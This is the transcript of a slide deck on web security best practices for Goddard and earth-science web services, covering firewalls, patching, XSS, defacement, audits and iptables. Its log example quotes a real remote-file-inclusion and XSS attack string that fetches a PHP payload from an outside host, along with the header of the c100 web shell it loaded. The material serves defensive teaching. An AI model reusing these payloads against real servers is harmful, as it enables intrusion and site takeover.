Post on 02-Jan-2016
transcript
Security:Best Practices
GSFC: What we have seen
Goddard “Firewall”
1990's: Very Porous (Non-Existent), Default Allow
High Ports
1024-
65535
GSFC Servers
Restricted Ports
20
21
22
23
25
80
443
2000's: Much Tighter, Default Deny
22
25
80
Smaller attack surface,
increased attack attempts
Two Major Trends
1. Increase in web services offered: GCMD Web API's OGC Catalogue Services for Web (CSW) Other CEOS and GEOSS services
2. Increase in web based attacks: well known COTS or Open Source web vulnerabilities attacks on in-house code social engineering
The WGISS Community Dilemma
We have a responsibility to serve our users We have a responsibility to collaborate The web is the best current mechanism But the use of web services use may decrease our
security posture Solution:
proactive security awareness use of security best practices communicating threats and solutions in our community
COTS/Open Source Software Vulnerabilities
Real World Examples: The AttackSeen in Logs (Decoded):
83.217.66.50 - - [03/Sep/2007:05:56:51 -0400] "GET http://xxx.gsfc.nasa.gov/some.cgi?rcpt=http://ydfgsdfg.txt?
=<script>alert("xxx");</script> Hello Admin! Today%2
0You're Being Hacked By Sys!<script>alert("Hacked By Sys");</script><?php include
("http://xyz.altervista.org/private2.txt?"); ?><ahref="<?php require ($files_dir.'/_custom_menu_link.php'); ?
>"><?php require($files_
dir.'/_custom_menu_name.php'); ?></<br><ahref="<?php require($files_dir.'/_custom_menu_name.php'); ?
>prova</a><b>es_custom_menu.php?files_dir=http://xyz.altervista.org/private2.txt?<ahref="<?php
require($files_dir.'http://paintweb.altervista.org/private2.txt?); ?>prova1</a><br><a href="<?php
require($files_dir.'http://paintweb.altervista.org/private2.txt?); ?">hacked</a><br><a href=<?php
require($files_dir.'http://xyz.web.altervista.org/private2.txt?); ?>ha2cked</a><br>< href=page?=
>ha2c3ked</a><br><a href=asd?page= >ha2c3keed</a><br>asd?page=http://xxx.altervista.org/private2.txt?
HTTP/1.1" 200 31477 "-" "Mozilla/5.0 (Windows; U; Windows N
T 5.1; it; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6" TCP_MISS:DIRECT
Real World Examples: the Payload Payload at http://xyz.altervista.org/private2.txt:
<?php
/*******************************************************************************
* Locus7s Modified c100 Shell
* Beta v. 1.0a - Project x2300
* Written by #ophAcker team
* Modified by error & Be_gO
* Re-Modified by #error_maker (15.2.07)
*========================================================
* New Modifications Implemented --
* -Added link to Enumerate to escalate priviledges
* -Added Rootshell.c
* -Added Rootshell.c;auto-compiler
* -Execute Rootshell.c
* -Added Mig-Log Logcleaner
* -Execute Mig-Log Logcleaner
* -milw0rm searcher (Grabs OS and searches milw0rm)
* -Locus7s Style & Image
* -Added w4ck1ng Shell Backdoor Connect and Backdoor
* -Added PHP-Proxy link to hide you
* -Added your ip and server ip with whois capability
* -Added private 0day released by allahaka which utilizes the linux
* sudo bash to execute a stack overflow. (Continued)
Best Practices: COTS/OSS
Wisely choose COTS/OSS Web Applications what is the security record? is the software maintained?
Stay on top of software security patches schedule regular maintenance checks remotely audit for security vulnerabilities
Limit access does this application need to be open to the world? can authentication be used?
Review your Logs
In-House Web Application Software Vulnerabilities
Real World Example: Defacement Defacement
NASA: High value Soft target
Examples: HTML manipulation XSS SQL injection Element
manipulation
(example)
Source: apod.nasa.gov
<img src=”http://site/cgi/image-resizer.cgi?url=jpl.nasa.gov%2Fgalaxy.jpg”>
http://site/cgi/image-resizer.cgi?url=mysite.com%2Fnasacalc.jpg
“Astrology”
Real World Example: Defacement
Best Practices Defense:
Hash Table Flatfile or database Key = 123221 Value = “url=jpl.nasa.gov%2Fgalaxy.jpg” URL = http://site/cgi/image-resizer.cgi?url=123221
Encrypted Hash Function Algorithmic “jpl.nasa.gov%2Fgalaxy.jpg” -> hash function -> ADGCDDARG URL = http://site/cgi/image-resizer.cgi?url=ADGCDDARG
Cross Site Scripting (XSS) Example
Source: msdn2.microsoft.com
Cross Site Scripting Defences
Best Practices: Understand the types of XSS attacks
client side (i.e. javascript vulnerabilities) non-persistent (i.e. error messages) persistent (i.e. bulletin boards)
Validate user Input Utilize software security libraries Limit access
General Best Practices
Best Practice: Perform Regular
Security Audits Examples:
NMAP for network and service audits OS detection service version detection
NESSUS for security scans scans for all network vulnerabilities commercial support available
Nikto for specific web vulnerabilities over 3500 dangerous files/CGIs over 250 web server vulnerabilities
Intrusion Detection System Reporting
Best Practice: Limiting Access Incorporate Authentication Specify Allow/Deny Directives Utilise Firewall Rules Implement Rate limiting
Iptables (Linux) example:
-A SSH -m recent --set --name WEB
-A SSH -m recent --update --seconds 60 --hitcount 600 --rttl --name WEB -j DROP
-A SSH -j ACCEPT
Best Practice: Understand the
Software Apache: Compile your own
Loaded Modules in Default RedHat 5.1 httpd:
core_module (static) mpm_prefork_module (static) http_module (static) so_module
(static) auth_basic_module (shared) auth_digest_module (shared) authn_file_module
(shared) authn_alias_module (shared) authn_anon_module (shared) authn_dbm_module
(shared) authn_default_module (shared) authz_host_module (shared) authz_user_module
(shared) authz_owner_module (shared) authz_groupfile_module (shared) authz_dbm_module
(shared) authz_default_module (shared) ldap_module (shared) authnz_ldap_module (shared)
include_module (shared) log_config_module (shared) logio_module (shared) env_module (shared)
ext_filter_module (shared) mime_magic_module (shared) expires_module (shared) deflate_module
(shared) headers_module (shared) usertrack_module (shared) setenvif_module (shared) mime_module
(shared) dav_module (shared) status_module (shared) autoindex_module (shared) info_module
(shared) dav_fs_module (shared) vhost_alias_module (shared) negotiation_module (shared)
dir_module (shared) actions_module (shared) speling_module (shared) userdir_module (shared)
alias_module (shared) rewrite_module (shared) proxy_module (shared) proxy_balancer_module
(shared) proxy_ftp_module (shared) proxy_http_module (shared) proxy_connect_module (shared)
cache_module (shared) suexec_module (shared) disk_cache_module (shared) file_cache_module (shared)
mem_cache_module (shared) cgi_module (shared) version_module (shared) proxy_ajp_module (shared)
Manually Compiled server, with rewrite, alias, and proxy added :
core (static) mod_access (static) mod_auth (static) mod_include (static) mod_log_config
(static) mod_env (static) mod_setenvif (static) mod_proxy (static) proxy_connect (static)
proxy_ftp (static) proxy_http (static) prefork (static) http_core (static) mod_mime (static)
mod_status (static) mod_autoindex (static) mod_asis (static) mod_cgi (static) mod_negotiation
(static) mod_dir (static) mod_imap (static) mod_actions (static) mod_userdir (static) mod_alias
(static) mod_rewrite (static) mod_so (static)
Disadvantage: No RedHat RPM Updates
Best Practice: Understand the
Software (cont.)
OpenGIS® Catalogue Services Specification, Page 168
10.11.3.4 Delete action
The following XML Schema fragment defines a delete action:
<xsd:complexType name="DeleteType" id="DeleteType">
<xsd:sequence>
<xsd:element ref="csw:Constraint" minOccurs="1" maxOccurs="1"/>
</xsd:sequence>
<xsd:attribute name="typeName" type="xsd:anyURI" use="optional"/>
<xsd:attribute name="handle" type="xsd:ID" use="optional"/>
</xsd:complexType>
The <Delete> element contains a <csw:Constraint> element (see Subclause 10.3.7) that identifies a set of
records that are to be deleted from the catalogue. The <csw:Constraint> element shall be specified in
order to prevent every record in the catalogue from inadvertently being deleted.
The typeName attribute is used to specify the collection name from which records will be deleted.
The handle attribute is described in subclause 10.11.3.2.
Other Best Practices
Security in depth multiple mechanisms for limiting access multiple authentication mechanisms
Understand trust relationships with other projects with other agencies
Focus on data integrity Good, reliable, tested backups Prevent data misuse or misattribution Employ a knowledgeable, dependable staff
Conclusion
The scientific community depends on the quality and accuracy of the data
With the proliferation and interdependence of web services, the assurance that those services are accurate and secure becomes increasingly critical
The introduction of one security flaw into a web services based architecture could have a widespread, international impact